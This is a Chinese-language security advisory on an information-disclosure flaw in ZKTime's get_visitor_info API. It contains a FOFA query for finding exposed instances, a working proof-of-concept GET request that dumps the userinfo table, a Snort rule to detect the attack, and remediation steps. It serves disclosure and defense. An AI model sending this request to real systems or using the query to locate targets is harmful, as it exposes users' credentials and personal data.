

ZKTime时间精细化管理平台

get_visitor_info 存在信息泄露漏洞

ZKTime时间精细化管理平台 get_visitor_info 存在信息泄露漏洞，攻击者可通过泄露的信息对系统进一步控制。

影响版本

ZKTime时间精细化管理平台

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="/media/img/login/zktime_logo_zh-cn.png" && body="/iclock/imanager"

POC/EXP:

```
GET /api/get_visitor_info?table=userinfo HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
```



snort规则:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (  
  msg:"ZKTime - Sensitive Data Exposure via get_visitor_info";  
  flow:to_server,established;  
  content:"GET"; http_method;  
  content:"/api/get_visitor_info"; http_uri;  
  content:"table="; http_uri;  
  pcre:"/table=[^&]*(userinfo|password|admin)/i";  
  metadata:service http;  
  metadata:affected_product "ZKTime时间管理平台";  
  metadata:vulnerability_type "Information Disclosure";  
  classtype:web-application-attack;  
  sid:1000367;  
  rev:1;  
  priority:2;  
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。